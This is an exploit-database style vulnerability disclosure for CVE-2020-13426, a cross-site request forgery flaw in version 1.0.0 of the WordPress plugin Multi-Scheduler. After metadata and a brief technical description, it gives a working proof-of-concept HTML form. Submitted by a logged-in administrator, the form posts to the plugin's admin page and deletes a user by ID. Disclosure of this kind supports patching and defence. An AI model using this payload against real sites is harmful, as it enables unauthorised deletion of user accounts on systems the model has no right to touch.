WordPress Plugin Multi-Scheduler 1.0.0 - Cross-Site Request Forgery (Delete User)

2020.05.30

UnD3sc0n0c1d0 (ES)

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2020-13426

CWE: CWE-352

CVSS Base Score: 4.3/10

Impact Subscore: 2.9/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: None

Integrity impact: Partial

Availability impact: None

# Exploit Title: WordPress Plugin Multi-Scheduler 1.0.0 - Cross-Site Request Forgery (Delete User)
# Google Dork: N/A
# Date: 2020-05-21
# Author Homepage: https://infayer.com/
# Exploit Author: UnD3sc0n0c1d0
# Vendor Homepage: https://www.bdtask.com/
# Software Link: https://downloads.wordpress.org/plugin/multi-scheduler.1.0.0.zip
# Category: Web Application
# Version: 1.0.0
# Tested on: CentOS 7 / WordPress 5.4.1
# CVE : CVE-2020-13426

# 1. Technical Description:
The Multi-Scheduler plugin 1.0.0 for WordPress has a Cross-Site Request Forgery (CSRF) vulnerability 
in the forms it presents, allowing the possibility of deleting records (users) when an ID is known.
  
# 2. Proof of Concept (PoC):
<html>
<form method="POST" action="http://[TARGET]/wp-admin/admin.php?page=msbdt_professional">
<input type="hidden" value="[ID]" name="pro_delete_id"><br>
<input type="hidden" value="Delete" name="professional_delete">
<input type="submit" value="Delete user">
</form>
</html>

See this note in RAW Version

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WordPress Plugin Multi-Scheduler 1.0.0 - Cross-Site Request Forgery (Delete User)

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